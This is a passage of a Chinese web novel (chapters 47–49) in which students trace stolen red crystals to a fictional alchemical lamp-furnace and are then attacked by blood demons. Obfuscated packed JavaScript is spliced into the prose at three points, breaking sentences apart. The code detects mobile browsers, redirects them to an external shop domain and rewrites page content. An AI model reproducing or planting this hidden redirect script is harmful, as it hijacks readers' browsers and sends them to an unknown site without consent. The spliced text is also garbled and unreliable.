;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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红海岸他知道,系统传输给他的背景设定里面有提到过。红海岸位于大陆西南侧,自古以来都是是陆家的领地。比较意外的是,其本身的价值与外贸、交通毫无关联,甚至通往红海岸的路也只有一条由陆家把手的单行线。原因是,红海岸是一片富含特殊矿物红晶石的珍惜资源产地。 那里出产的红晶石,既是炼金术的重要材料,也是十分好用的轻便能源。因为红晶石唯独只在红海岸生成,所以也成了陆家的重要收入来源。 但“登陆”…… 苏清寒忽然开口了。 “也许他们说的不是登陆,而是灯炉。” 她顿了顿,看向林砚。见林砚没有反对,便开始解释——不是对林砚,是对赵铁心和白晓。 “灯炉是古代炼金造物,发音和‘登陆’很像。如果白晓在梦里听错了,或者记忆模糊了,都是完全有可能的。” 白晓眨了眨眼:“灯炉?” “嗯。”苏清寒点头,继续解释道。 “灯炉,全称‘红晶灯照反应堆炉’,但通常简称为灯炉。原理是利用红晶石的能量释放强光和高温,在炼金法阵的约束下,可以制造出持续燃烧的火焰领域。” 她顿了顿,看向其他人,确认他们跟上了。 “这东西不算珍贵,造起来也不难。陆家因为掌握红海岸的红晶石矿,所以一直有生产。它的主要用途是照明和取暖,但在战时,也可以改造成武器。” 赵铁心插话:“武器?” “嗯。”苏清寒推了推眼镜,“算是个体积大、爆炸面积也大的大型□□吧。通过强行让红晶石能量过载,来破坏约束其功效的法阵,让能量一次性释放。爆炸的威力取决于红晶石的纯度和数量。” 白晓听懂了,但更困惑了:“可是,王敬为什么要跟派斯学长说这些?” 林砚在这时开口,他的表情有些严肃。 “据我所知,派斯的生父也是陆家人。结合这些都是王敬跟派斯提起来的,再加上同属于陆家的红海岸,这事情多半和陆家脱不开关系。” 陆家? 闻言,在场的几人不约而同地开始寻找陆燃。 “坏了。” 赵铁心的声音打破了沉默。 他掏出手机,手指在屏幕上疯狂按键。 “陆哥怎么偏偏这个时候跑出去了啊!” 47. 你小子居然还有这副面孔 对于熟悉陆燃的人来说,陆燃的想法和行为其实是非常好猜的。 就比如现在。 在场的几人都对陆燃颇有了解。陆燃冲出门的瞬间,在场的几人都对他的去向心知肚明。 苏清寒:“我有一个想法。” 赵铁心苦笑:“我和你大概是同样的想法。” 他们相互对视一眼,了然地点头,不约而同地叹气。 看过漫画知道前面剧情的林砚,几乎未经思考,也猜到陆燃去了哪。 “你们能联系上他吗?”林砚问,“这些事情,最好还是也让他知道。” 毫不意外地,陆燃没有回复信息。 “估计很难。”赵铁心看着手机屏幕摇头,把手机屏幕转向林砚,上面显示着数十条已发送但未读的消息,“陆哥每次心情不好就会冲去训练室里自闭,回回自闭前还会把手机也一起关机。我之前想在这个时候找他,都是在训练场挨个房间找的人。” 苏清寒也试了,她直接给陆燃打了电话。 所有人都听到了听筒里的机械声提示:“您拨打的用户已关机。” 行动派的苏清寒拍了拍前面的白晓,示意她起身让开。她已经站起来,显然准备立刻动身,自己去训练场找人了。 白晓也跟着站起来,小声道:“我、我也去帮忙找。” “训练场分区域,”她对赵铁心说,“你从东侧开始,我从西侧。白晓你——” “你们先别急。” 林砚的声音让他们的动作停顿下来。 三人齐齐看向林砚。赵铁心刚伸直腿,还保持着半起身的姿势,苏清寒站在原地没动,白晓也在一旁眨着眼,等待下文。 林砚没有解释,轻敲耳环,接通了和白珍的通讯。 “塔主女士,我有件事情想麻烦你……” 五分钟后。 陆燃浑身是汗地躺在地上,后背紧贴着冰凉的合金地板。训练室里的温度调控系统已经开到最低,冷风从天花板的风口灌下来,打在裸露的皮肤上,带走一丝温度。 他刚才对着训练用假人狠狠地发泄了一番精力。假人现在已经不能被称为“假人”了,它更像是一堆勉强维持人形的金属碎块混合物。陆燃记得自己最后那一拳直接贯穿了它的胸部模块,内部的结构弹簧和液压管崩得到处都是。 爽吗? 挺爽的。拳头砸进实体的感觉,力量完全释放的爽快感,假人表面凹陷时发出的金属哀鸣——这些都能暂时平息陆燃心头的躁动。 但也就只是暂时。 陆燃盯着天花板上的通风网格,感觉自己的心跳还是太快。剧烈运动暂时压下了翻腾的情绪,但心脏依旧擂鼓般狂跳,血液在血管里奔流的速度快得不正常。 虽然依旧精力充沛,但他知道,如果继续让情绪发酵下去,体内本就活跃的源血很可能会被彻底引燃。 沸血者的能力源自血液,情绪剧烈波动时血液温度也会连带着异常升高,进而引发源血的不稳定。沸血者们感到的头脑发热,大概率是物理意义上的头脑发热。源血极度不稳定的情况下,轻则能力失控,重则直接诱发血蚀。 虽然以陆燃对自身能力的控制水平来说,血蚀没那么容易找上门,但还是存在失控的风险。 所以他选择大脑放空地躺着散热。等身体的温度降下去后,大脑的温度应该也能一起降下去。 简单粗暴的物理降温,但至少有效。 训练室里很安静,只有通风系统运作的低沉嗡鸣,和他自己尚未平复的粗重呼吸。 然后,噪音打破了这份安静。 “#####——” 外面不知道在吵些什么,陆燃皱了皱眉,没有动。可能是其他训练室的人吧,或者走廊里路过的学生。训练场本来就不是绝对安静的地方,有人大喊大叫也不奇怪。 但那个声音又响起来了,这次清晰了一些。 “四年A班————” 陆燃的注意力被拽过去一丝。全校广播?还点名四年A班?难道是班主任在找人?他漫不经心地想。 陆燃还是没动。 全校广播也不是什么很罕见的事情,教务通知啊,活动宣传啊,还有失物招领,很多事情都会用广播通报。他现在没什么兴趣,懒得关注这些,回头再说吧。 “四年A班的陆燃同学——” 陆燃:? “耳击陆,火然燃。” 广播里的声音字正腔圆地念着他的名字,甚至还在毫无意义地拆字点名。 陆燃慢慢从地上坐了起来。 “请陆燃同学在听到广播后,尽快赶往医务室,与您的队友们汇合。重复一遍,四年A班的陆燃同学……” 广播还在继续,那声音虽然因为广播传输带了点失真和电流杂音,但他太熟悉了,陆燃听出来了。 那是赵铁心的声音。 陆燃:…… 全校广播找他去医务室,赵铁心你小子是把我当成走丢的小学生了吗?! 陆燃猛地站起来。 他冲到训练室角落,从堆在地上的制服外套里翻出手机。按下电源键,屏幕亮起,手机开始播放开机动画。等待的十几秒里,广播又重复了一遍,这次赵铁心憋不住了,声音里多了点揶揄的感觉。 手机终于进入主界面。 未接来电:苏清寒(3)。 未读消息:47条。 陆燃手指在屏幕上快速滑动,点开未读消息。 全是赵铁心的消息: 「陆哥你开机了没」 「真的急事」 「你家里可能出问题了」 「看到消息回电话」 「你再不回我要播广播寻找走失小陆了」 「对不住了陆哥」 「我数到十」 「十」 「我要播了」 最后一条消息,发送于三十秒前:陆哥!快回医务室!急事!看到消息速回!不然我继续播了! 陆燃没时间细看再往上的消息内容,赶紧给赵铁心回了个电话:“停!别播了!” 听筒里传来赵铁心明显松了口气的声音:“你终于开机了!快回来,医务室,大家都在等你。事情有点复杂,电话里说不清——” “我马上回去!”陆燃咬着牙打断他,“把广播给我停了!给我十分钟时间。” 他挂断电话,抓起地上的外套,冲出了训练室。 走廊里的学生看到陆燃出来后,表情都变得很精彩。有人想说什么,但陆燃没给他们机会,直接朝着更衣室的方向跑了过去。 十分钟后,快速冲了个澡、换了身衣服的陆燃,带着一身未散尽的水汽和低气压,出现在了医务室门口。 他推开门的时候,赵铁心已经回来了,正坐在沙发上,满脸无辜地冲着他笑。 苏清寒坐在旁边,低头看着自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106838|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机屏幕,一副事不关己的专心模样。白晓则有点紧张地看看陆燃,又看看赵铁心,眼神飘忽。 “广播。”陆燃说,声音很平。 “校内广播的权限是林老师找白奶奶要来的。”赵铁心立刻甩锅,但甩得不完全,“但广播的内容是我和清寒还有白晓一起想的。” 广播的具体内容,可是留守医务室的赵铁心、苏清寒、白晓三人“集思广益”的成果。 据事后某不愿透露姓名的白姓同学小声补充,赵铁心最初提议的版本,远比陆燃听到的这个要离谱且抽象得多,充满了好兄弟之间才懂得的黑历史暗示。用赵铁心的话说,那才能确保“陆哥只要听到,哪怕在月球上都会瞬间红温并光速赶回来灭口”。 最终是苏清寒实在听不下去,以“信息传达效率过低且可能引发不必要的二次冲突”为由,否决了赵铁心的原始剧本,并亲自操刀精简成了现在这个相对正式(至少表面如此)的播报版本。 要不是苏清寒这一拦,陆燃绝不可能像现在这般只是黑着脸走进来。他回来的第一件事,高低得是给赵铁心来上一套“亲切”的物理交流。 对此,苏清寒只字未提。 陆燃深吸一口气,又缓缓吐出来。他走到沙发边,重重地坐下。 “所以,”他说,“到底是什么事,需要动用全校广播?” 苏清寒把手机放下,看向林砚。 林砚看着陆燃明显压抑着火气的表情,又瞥了一眼暗自偷笑的赵铁心和假装认真的苏清寒,心下明了。保证主角团信任关系任务已经完成了,只要不跌破红线,他并不打算干涉他们的内部互动。 林砚把话题拉回正题,苏清寒顺势接话,给陆燃讲解了他先前错过的内容。 陆燃听完,脸上那点因为广播残留的不爽迅速被凝重取代。他走到空着的沙发边坐下,手肘撑着膝盖,眉头皱了起来。 “灯炉?我家卖的那个?” 作为陆家本家嫡子的陆大少爷,陆燃自然对此有所了解。 “跟红晶石有关吗,”陆燃说,更像是自言自语,“红海岸那边确实是陆家分家在管……负责维护那边运输的是我爹的亲弟弟。” “我打电话给时贸叔问问看吧。” 在这种时刻,陆燃还是靠谱的。 他从口袋里掏出手机,在通讯录里翻找,很快找到了备注为“时贸叔”的联系人。点击拨号前,他犹豫了一瞬,然后按下了免提键。 电话接通得很快。 陆燃清了清嗓子,他先开的话头。 “时贸叔!最近过得怎么样?好久都没见过你了,我好想你啊!” 电话那头的陆时贸似乎笑了笑:“少来这套,你小子没事可不会主动找我‘想我’。说吧,是不是又闯什么祸了,需要叔帮你在你爹那儿打掩护?” …… 医务室里所有人,包括林砚,都对陆燃投去了大为震撼的眼神。 尤其是赵铁心,瞳孔都在地震般颤抖,嘴巴大张,眼睛瞪得溜圆,跟见了鬼似的。他看看陆燃,又看看电话,又看看陆燃。 你原来会好好说话啊?! 医务室内瞬间陷入一片诡异的寂静。 陆燃对周围投来的视线恍若未觉,或者说,他此刻的注意力完全集中在电话另一端。他只是有些莫名其妙地挨个回望了表情古怪的队友们,然后翻了个白眼。 他用口型无声地怼了回去:这可是我叔啊! 48. 拔出萝卜带出泥 听着陆时贸和陆燃的对话,很难不让人对陆时贸产生好感。 纵然电话对面的是自家的小辈,也完全没有长辈架子,亲切温柔还有些幽默风趣。陆燃显然是非常喜欢自己这个叔叔的,和他通话时笑得就没停过。 听到陆燃问起红海岸的情况,陆时贸带着笑意反问:“怎么突然关心起家里生意了?缺零花钱了?还是学校布置了社会实践作业?” 末了还调侃一句:“放心吧我的陆大少爷,你叔的账本可清楚着呢。” “时贸叔,你别打岔,我是认真在问。”陆燃对着手机说,语气里带着点罕见的、近乎撒娇的抱怨,“所以红海岸那边到底什么情况啊?你就别跟我兜圈子了。” “好好好,不兜圈子。”陆时贸在那头笑,“我这不是得回忆一下嘛,你等我翻翻记录。” 通话背景里传来纸张翻动的窸窣声。 陆时贸一边回复陆燃,一边翻找着资料以保证自己没有记忆出错。通话时间就这么不断延长,窗外的天色渐渐暗了下来,太阳逐渐消失在遥远的地平线里。 医务室内,众人等得时间长了,都各找各的事情忙活。 赵铁心在刷手机,手指划得飞快,大概是在看论坛或者聊天群。白晓抱着膝盖缩在沙发角落,眼神有些放空,可能在回忆其他预言相关的事情。林砚则正好趁着空闲时间没人抓着他问问题,去给自己泡了壶新茶。 唯独有一人表情异样。 那就是苏清寒。 她低头看着手里的资料,脸上没什么表情,嘴唇抿成一条平直的线,只有微微收缩的瞳孔泄露了内心的不平静。 其他人没见过陆时贸,苏清寒却是见过的。 在她还没有觉醒能力,还能被母亲带在身边见长辈的时候,她曾目睹过一次母亲与陆时贸针对商贸路线的正面交锋。 不谈其他任何,单论外表,陆时贸和他亲哥陆时彰完全不是一个路数的。 虽然作为双胞胎兄弟的二者,乍一看几乎是一个模子刻出来的,可作为陆家家主的陆时彰,无论再怎么表现出一副温和儒雅、平易近人的样子,你都能看出来他本人一定是强硬的、不可撼动的。哪怕他只是微笑着坐在那里,也有种无形的压力弥漫开来,那是他不容置疑的权威。 陆时贸不同。 他看起来是真的亲切又温和。跟人说话时语调舒缓,会认真注视对方的眼睛,适时点头表示倾听,笑容真诚得让人如沐春风。他能记住对方哪怕只是随口提过的小事,并在未来某次见面时自然地关切询问。面对女士时,他斟茶的动作优雅周到,还会风趣幽默地插入些趣闻辅助谈话。 只要他愿意,他能让所有人都对他产生好感,感叹这位陆家二爷真是个通情达理、毫无架子的好好先生。 但这都是假象。 苏清寒当时坐在母亲身边,安静地当她的背景板。然后就看着陆时贸全程保持着那副温和的笑容,一步一步把谈判的节奏完全掌握在自己手里。 苏清寒后来从母亲那里听说过一些传闻。外面流传的说法是,陆时贸因为性格温和,不喜争斗,主动退出了家主争夺。陆家双子兄弟情深,陆时贸甘为辅佐。 苏清寒对此抱有怀疑。 开玩笑,作为陆时彰一母同胞的亲兄弟,陆时贸怎么可能真是个善茬? 苏清寒不知道的是,陆时贸的主动退出,的确有兄弟感情不错的因素在。但更重要的是,他和陆时彰对谁来当这个“倒霉家主”其实都没太大执念。他们其实是用锤子剪刀布做的决定,而且是谁输了谁就做家主。 陆时彰一直私下怀疑,猜拳前陆时贸絮絮叨叨说的那堆“哥,你看我这手型像不像布”“我觉得你出剪刀比较帅”之类的屁话,全是在拐着弯给他下心理暗示,干扰他让他出拳。但他拿不出证据,只能愿赌服输,接下了家主的位置。 而陆时贸则拍拍屁股,如愿以偿地跑去相对自由的家族实业,美其名曰“为兄长分忧”。 苏清寒所见识到的,便刚好是陆时贸绝非善茬的那一面。 苏清寒从未见过母亲那么被动。母亲哪怕在议会里和其他家主周旋时都能游刃有余,但在陆时贸面前,苏清寒第一次看到她露出那种像是踩进了软泥里,每一步都很费力,却还要保持微笑的表情。 母亲的笑容依旧得体,言辞暗藏机锋,但苏清寒能看出那份笑容下的勉强。苏清寒能看到,母亲好几次端起茶杯,以此遮掩住拉直的唇角。 此时的陆时贸还能全程保持着微笑,礼貌得面面俱到。最终达成的协议,表面上看,陆时贸甚至还大方地让出了几个点的利润,并将线路维护的责任揽了过去,显得诚意十足,让场面看起来宾主尽欢。 看似是把更多的好处让给了苏家,苏清寒还是能从母亲的叹息中察觉出自家的失败。 谈完交易后,陆时贸没有第一时间离开。他和苏澜又唠了会儿闲话,还摸了摸旁听的苏清寒的脑袋,让随行的助手给她送了份小礼物。 闲话里,他有些幽怨又有些羡慕地夸赞,说苏澜有个让人羡慕的聪慧女儿,小小年纪就能安静坐四个小时不吵不闹,以后肯定能成大事。 这话让苏澜的心情也变得好了起来,状似嗔怒地嫌弃陆时贸是个孤家寡人老光棍,让他快点结婚生个后代出来,别天天惦记别人家的孩子。 陆时贸还求饶说:别骂了别骂了,缘分未到,强求不得。 让苏清寒觉得心情复杂的是,她本以为当时见到的陆时贸,就是他待人最亲和温柔的常态了。 可现在,听到免提里陆时贸对陆燃说话的语气,苏清寒才恍然意识到,当初对她说话的那副样子,其实也是装出来的营业状态。 自认聪慧过人的苏清寒感到沮丧:哪怕是我,也会这么轻易地就能被骗到啊。 在她心绪翻飞,记忆与现实交织对比时,陆燃那边的电话也接近了尾声。 他问得很是顺利。 作为连竞争对手都没有的陆家下一任族长,所有的家事,只要他开口去问,就不会瞒着他。 陆燃放下手机,第一时间看向苏清寒,发现对方似乎还在神游天外,伸出手在她面前挥了挥。 “喂?苏清寒?” 苏清寒抬头秒回:“怎么了?” 她的声音很平静,表情也恢复了平时的冷淡,刚才那一瞬间的走神像是幻觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111244|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陆燃有点纳闷:“别发呆了,不是你们让我去问的吗,我问完了啊。快点发动你的脑子想想,还有什么别的事情吗?” 赵铁心和白晓闻言,都看过来,脸上露出些许疑惑。 赵铁心直接问出声:“啊?清寒刚才有发呆吗?我看她一直很认真地在听啊。” 白晓也歪了歪头,小声附和:“寒寒不是一直都在认真听你打电话吗?” “喂喂!”陆燃不满地提高了声音,看看赵铁心,又看看白晓,最后瞪向苏清寒,“什么嘛,你们难道真的都没发现吗?她刚才明显在走神啊!” 苏清寒轻轻地笑了。 那笑容一闪而逝,快得让人怀疑是否是错觉。她并没有解释自己为何走神,也没有反驳陆燃的指控,而是转移了话题。 她的目光越过陆燃,落在了林砚身上。 “林老师,我有个想法,可以帮我听听看有没有什么漏洞吗?” 哎呀? 林砚抬起眼,对上了苏清寒的视线。那眼神不像平日只有绝对的冷静自制,而是近乎直白的请求。 林砚心想:这是跑来找我求援啦? 林砚好心情地满足了她。 “你说,”林砚身体微微前倾,做出倾听的姿态,“我在听。” 苏清寒投来感激的一眼,然后说道: “首先,总结一下陆燃刚才获取的信息。刚才陆燃的叔叔证实了白晓的预言,血魔的确在去年偷偷潜入过红海岸,偷走了一小批库存的红晶石。好消息是,陆叔叔发现问题很及时,已经成功追回了大半,剩余的部分不足以支撑他们制作攻城级威力的灯炉。” 苏清寒回看陆燃,和他对上眼神,眼神里明明白白写着:我在出神可不代表我没在听你说话噢,每一个字都记着呢。 陆燃撇撇嘴,没说什么。 她接着说。 “基于以上信息,结合白晓预知梦中听到的关键词,我们可以暂时建立这样一个逻辑链:血魔、或与之勾结的内鬼,曾试图从红海岸获取红晶石,目的是制作灯炉。行动成功了一部分,但还是被陆家及时发现并挫败,因此未能获得足量材料,不足以制作具有战略威胁的灯炉。这是一个好消息。” “但是,相比起红晶石失窃本身,由此推导出的另一个问题,其严重性可能远超材料损失。” “哪怕制作方式再怎么简单,不论如何,灯炉也是炼金造物的一种。如果他们偷走红晶石是为了制作灯炉,那就意味着,血魔之中有人掌握了炼金产物的制作方法。尽管灯炉并不是什么很难制作的东西,哪怕没有图纸,我都能从公开的古代炼金术残图中逆推出灯炉的制作方法。” “但是当今世界上,会炼金术的人,包括我在内,也不超过十指之数吧?” “林老师,您掌握的信息远比我们更多,视角也更高。我不惧怕真相,我只惧怕无知,惧怕因为信息缺失而做出错误的判断,将同伴置于不必要的风险之中。” “所以,能不能请您告诉我——在那些已知的、有能力指导或亲自完成灯炉制作的炼金术大师之中……背叛了我们,选择与血魔合作的,究竟是哪一位?” 49. 遇袭 林砚紧急呼唤了系统。 他还真没第一时间意识到这个问题。 苏清寒那个问题抛出来的时候,他才猛地意识到自己忽略了什么。 对于他这个来自信息高度发达、知识获取相对便捷的现代人来说,很多东西——哪怕是专业领域的技术——只要你有足够的兴趣、时间和学习能力,总能通过各种渠道接触甚至掌握。 民科自古以来都是天才频出的地方,更别提还有各种开源社区和技术论坛。 所以他还真没第一时间意识到,沸血界还有技术壁垒这玩意儿。 ……居然犯了个常识性错误吗。 系统很快给出了答复。 数据流在视野边缘无声闪烁。 【检索中……】 【经系统性分析,初步推测血魔方的炼金术士为巴拉特。】 巴拉特?那个萨拉厄斯的实际管理者,血魔二把手? 【原因有三。】 【其一,巴拉特在《沸血升腾》漫画已出场画面中(第57话,第14格),虽然只呈现背面,但其身前桌面摊开的卷轴纹样,经图像增强与资料库比对,其纹路与结构符合炼金图纸的典型特征,置信度87.3%。】 【其二,经检测,巴拉特现今仍在化名潜入姜家,师从姜家炼金大师姜照。】 【最后,综合议会、五大家族及白塔现有档案,目前登记在册且确认存活的炼金术大师,所有人的行为轨迹与社交网络均未检测到异常关联。换言之,未有明确证据表明已有炼金术士叛变。】 林砚暗自松了口气。 太好了! 居然不是内部又出了叛徒,只是对面也有天才,而且是个不惜潜伏数年偷师学艺的天才。真是太好了! 短短几天,连续面对了好几次内鬼、投敌和会伪装的血魔之后,如果这时候再蹦出来一个德高望重的炼金大师也投了敌,林砚就要怒而质问沸血界到底还有没有人类了。 在各种坏消息对主角团造成接连打击的现在,如果再跳出一个技术高层内鬼,别说是他们了,连林砚也要对“沸血界真的还有必要救吗”产生质疑了。 “这回真不是有人背叛。”林砚非常明确地否定了苏清寒的猜测。 所有人的目光都聚焦过来。 “是血魔那边自己研究出来的,我们这边没有人叛变。是血魔内部有人学会了炼金术。” 众人都不由得松了口气,连苏清寒也是。 赵铁心吐出一口气来——他自己都没意识到刚才居然一直憋着气,白晓轻轻拍了拍胸口,陆燃连表情都舒缓了。 比起是内部自己人被腐蚀了,他们宁愿是外部出现了更为强大的敌人。 于是她继续问。 “那他的……” “轰——!!” 就在此时,爆炸毫无征兆地袭来!近在咫尺! 整栋小楼剧烈震动。 剧烈的冲击波伴随着炽热的气浪从窗外咆哮而入!玻璃在千分之一秒内同时炸裂,化作无数锋利的碎片,混合着砖石和扭曲的金属窗框,暴雨般朝着室内高速飞散! 陆燃的反应快得超越思考。 几乎是在爆炸声传入耳膜的霎那间,陆燃就做出了反应。他根本没有思考,纯粹是战斗本能驱动。整个人像一张骤然张开的盾,手臂伸展,离他最近的赵铁心和苏清寒被他一手一个猛地扑倒,护至身下。 “趴下!!” 陆燃的吼声被爆炸的余音吞没。 林砚的动作也只比陆燃慢了半拍。思维在巨响中空白了半秒,但身体的本能更快。 他离白晓最近,爆炸发生的瞬间,他脑子里闪过“优先保护无战斗能力人员”的念头,顾不得刚说教完白晓不要离他太近,身体已经先一步行动。 林砚一把抓住白晓的手腕,用力将她拽向自己,同时另一只手护住她的后脑,两个人一起朝着厚重的实木办公桌后方扑去。 后背撞上桌腿,痛苦传导进大脑。 白晓被他护在怀里,发出一声短促的惊呼,随即死死咬住嘴唇。 爆炸的冲击波紧随而至。 楼内亮起刺眼的红灯,血一样的红光从天花板角落的警报灯中旋转着扫射而下,警报器的尖啸穿透耳膜。 此刻,整座白塔都红光闪耀。 医务室的地板还在因爆炸剧烈摇晃,头顶的天花板簌簌落下碎屑。外墙在轰鸣中分崩离析,气浪裹挟着尘土和刺鼻的焦糊味灌入室内,刮得人睁不开眼。 林砚百忙之中还不忘思考:现在我算是知道红晶石被他们用到哪去了! “小心敌袭——!!!” 赵铁心的大吼在爆炸余音和警报声中模糊不清。 已经不需要他提醒了。 话语间,穿着学生制服的血魔瞬息而至!五道身影从被炸开的、还在燃烧的墙体缺口处窜了进来! 烟尘和火光遮蔽了他们的面容,但开启“无我明镜域”的苏清寒看得清清楚楚!苏清寒被陆燃护在身下,脸侧贴着冰冷的地板。 她将血魔们挨个扫过一眼,迅速确认。 “这些人不是白塔的学生!”她的声音因呛咳而有些沙哑,能力的作用下,即使面对如此情境,她也异常地冷静,“我没见过他们的脸!” 血魔们没有立刻进攻,他们分散站开,其中一名女性血魔歪了歪头,目光扫过陆燃,扫过赵铁心,最后落在沙发方向,似乎在辨认什么。 林砚心里清楚,这是巴拉特提前给他预告过的袭击来了。 只是,怎么他妈刚好撞在了主角团全部到齐的时候啊! 林砚真的很怕他们认出陆燃来,如果这些血魔知道陆燃是预言中的救世主,那就不止是“抓林砚”那么简单了—— 他们会不惜一切代价,在这里,就把未来的最大威胁提前扼杀。 林砚心脏跳得飞快,赶紧打开与白珍相连的通讯器,将吓得发抖的白晓往桌底更深处塞,还不忘回应道:“你们先保证自己的安全!别硬拼!我在通知白塔赶紧确认其余学生状况!” 希望被他们扒了衣服的学生还活着! 而陆燃和赵铁心,已经爬起来和血魔们交上手了。 爆炸的烟尘尚未散去,那五个身影已经如同捕食的猛兽般分散开来。三个径直扑向办公桌,冲着林砚和白晓而去。另外两个朝着沙发角落的陆燃他们围了过去。 事发突然,身处白塔,他们没有随身携带武器,更没有携带护具,甚至连能力都还没来得及完全调动。 而对面的五个血魔,在旋转的红光下,还能清晰看到他们的指尖延伸出惨白而锋利的骨爪,那是被血蚀深度侵蚀后产生的肢体异化,有的手里还拿着趁手的武器。 五对四。 不,严格来说是五对三。苏清寒的能力不适合正面肉搏,白晓更不用说。林砚……林砚的能力需要距离和时机。 但他们是救世主小队,而且是白塔精英中的精英。 血魔动了! “滚开!” 面对迎面扑来、指尖已经弹出锋利骨爪的血魔,陆燃大喝一声,没有后退,反而踏步前冲!青红色的火焰自他皮肤之下轰然窜起,瞬间覆盖他全身,高温扭曲了空气,将他周遭映得一片模糊。 赫炽炎衣! 火焰领域以他为中心猛地扩散!半径五米内,所有闯入者动作同时一滞。体内的血液在这一刻仿佛被无形的力量引燃,传来剧烈的灼痛和沸腾感。仿佛有看不见的引线在体内点燃,随时准备将他们从内部引爆。 陆燃一拳迎向冲得最前的血魔! 其他血魔的表情也变了,有个原本冲向林砚的血魔更是硬生生改变了目标转向陆燃!拳爪相击,发出沉闷的□□碰撞声。血魔的骨爪在陆燃覆盖着火焰的拳头上划出刺啦的声响,留下几道白痕,竟没能第一时间破防。 陆燃借着对撞的力道侧身,左腿扫向另一个试图从侧面偷袭的血魔。 那个血魔的反应快得惊人,他的手臂在格挡的瞬间仿佛没有关节般诡异地扭曲,像没有骨头的橡皮泥一样拉长,险之又险地缠住了陆燃的小腿。但下一刻,缠绕处的制服布料发出焦糊的肉味,血魔惨叫一声,触电般松开了手。 他高温的火焰外衣可不是摆设! 赵铁心那边则是另一番景象。 赵铁心没有陆燃那种大范围的影响能力,但他的应对更加简单粗暴。他一个翻滚起身,顺手抄起地上断裂的椅子腿,掂了掂分量。面对袭来的血魔,赵铁心不闪不避,硬是吃下了对方的攻击,顺手把椅子腿往先前偷袭陆燃的血魔头上砸去。 摩擦声响起,火星四溅。攻击竟然只破坏了赵铁心的制服,在他皮肤上留下刮擦般的伤痕,但没能见血。 赵铁心咧嘴笑了,趁对方因反震力道而微微后仰的瞬间,迎头而上用脑袋猛击对方的面门。 “咔嚓!” 所有人都听到了血魔头上那清晰的骨裂声。血魔整个人都被撞得头晕目眩,往后栽倒,撞翻了旁边的档案柜,纸张哗啦啦散落一地。 但战斗才刚刚开始。 扑向林砚的血魔,动作敏捷又矫健。她没有像同伴那样直接硬冲,而是利用办公室内尚且完好的家具和炸毁的杂物作为掩体,借着同伴们的攻击做掩护,近乎无声的迂回接近。 在掠过燃烧的窗帘时,她手臂一挥,燃烧的布幔直接被她扯下,随后化作一条呼啸的火鞭,朝着办公桌横扫而来! 林砚瞳孔一缩,猛地按下白晓的脑袋,自己也同时伏低。 “呼!” 炽热的火鞭擦着办公桌边缘掠过,将桌角烧得焦黑。 高温气浪扑面而来。 另一个血魔则趁着同伴攻击吸引注意力的瞬间,身形如同没有重量般贴着墙面疾走,脚尖在炸裂的窗框残骸上一点,整个人如同离弦之箭,五指成爪,直抓向桌下的白晓! 她的指尖还泛着幽蓝的光,划过空气时带出令人牙酸的嘶嘶声,哪怕没有剧毒也一定带有腐蚀性。 没有经历过正面战斗的白晓吓得闭紧了眼睛,更努力地往桌子内部缩去。 林砚来不及多想,侧身躲开火焰鞭的二次袭击,能力瞬间发动。 祸血凭依。 林砚“看”到了,或者说,“感知”到了。 尤其是离他越来越近的那个血魔,她体内的血液在迸流、沸腾,躁动得像是擅自生出了独有的生命一样。 然后,他“握”住了它。 狠狠一攥。 尽管目标太多而且都在频繁移动,让林砚没法像对赵铁心治疗时那样精细操控能力,但只是干扰也已经足够! 即将触及白晓的血魔动作一滞,整个人踉跄了一下,泛着幽蓝毒光的爪子擦着椅子划过,抓进厚重的实木桌面,腐蚀出五个冒着青烟的小洞。她借着力气翻滚泄力,眼中闪过一丝惊愕。 就这一线之隔,给了陆燃机会。 虽然被两个血魔缠住,但陆燃的注意力始终分了一部分在林砚这边。 眼见白晓遇险,他周身火焰猛地一涨,硬扛了血魔打在肩头的一拳,借力旋身,一脚踹飞了那个用手臂纠缠他的血魔,同时左手隔空朝着袭击白晓的血魔猛地虚握! 赫炽炎衣的锁定效果发动! 血魔正欲再次攻击,身体却骤然一沉。恍若有无形的枷锁套上了她的灵魂,将她与那个燃烧着青色火焰的身影强行链接。她惊恐地发现,自己一旦试图与他拉开距离,身体就会变得异常沉重,就像双腿都深陷泥潭一般。 “你的对手是我!” 陆燃逼退了身边的血魔,主动朝着被暂时他锁定在办公桌附近的血魔冲来,试图为林砚他们解围。 但别忘了,林砚背后还有一个血魔在呢! 她的手腕一抖,那条燃烧的布鞭在空中打了个旋,不再攻击林砚,而是将其缠向陆燃的脚踝。同时,另一只手对着被炸得遍地都是的玻璃碴子凌空一抓。 无数玻璃碎片齐齐震颤,如同被无形之手背后操控,悬浮而起,四面八方地射向陆燃全身!即使没法完美控制每一块的攻击点,但胜在量大! 林砚的大脑此刻疯狂运转——距离、速度、角度、陆燃、赵铁心、苏清寒、白晓的位置、自己能力的有效范围—— 不管了!哪怕影响不足以让血魔放弃这招,至少可以扰乱她的动作让碎片飞得不那么集中! 祸血凭依! 就在此时,苏清寒的声音穿透混乱的战局,冰冷地响起: 